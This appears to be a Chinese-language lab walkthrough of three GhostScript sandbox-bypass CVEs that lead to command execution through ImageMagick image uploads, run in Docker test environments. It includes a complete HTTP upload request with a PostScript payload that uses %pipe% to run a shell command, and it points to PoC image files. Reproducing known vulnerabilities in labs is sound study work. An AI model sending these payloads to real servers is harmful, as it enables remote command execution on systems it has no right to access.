前言
Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件
一、 CVE-2018-16509_GhostScript 沙箱绕过(命令执行)漏洞
漏洞原理
8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞:
GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。
环境搭建
执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.23、ImageMagick 7.0.8):
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。
漏洞利用
上传[poc.png](poc.png),将执行命令`id > /tmp/success && cat /tmp/success`。此时进入容器`docker-compose exec web bash`,将可以看到/tmp/success已被创建:
二、 CVE-2018-19475_GhostScript 沙箱绕过(命令执行)漏洞
漏洞原理
2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。
漏洞环境
执行如下命令启动漏洞环境(其中包括 GhostScript 9.25、ImageMagick 7.0.8-20):
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。
漏洞利用
将POC作为图片上传,执行命令`id > /tmp/success && cat /tmp/success`:
```
POST /index.php HTTP/1.1
Host: target
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO
Content-Length: 279
------WebKitFormBoundaryukZmnyhO
Content-Disposition: form-data; name="file_upload"; filename="1.jpg"
content-Type="image/png"
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
------WebKitFormBoundaryukZmnyhO--
```
命令已成功执行:
当然,真实环境下通常无法直接回显漏洞执行结果,你需要使用带外攻击的方式来检测漏洞。
三、 CVE-2019-6116_GhostScript 沙箱绕过(命令执行)漏洞
漏洞原理
2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。
GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。
漏洞环境
执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.26、ImageMagick 7.0.8-27):
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。
漏洞利用
作者给出了[POC](poc.png),上传这个文件,即可执行`id > /tmp/success`:
也可以用``docker run -it --rm --name uu -v `pwd`/poc.png:/tmp/poc.png vulhub/imagemagick:7.0.8-27-php identify /tmp/poc.png``来直接测试poc: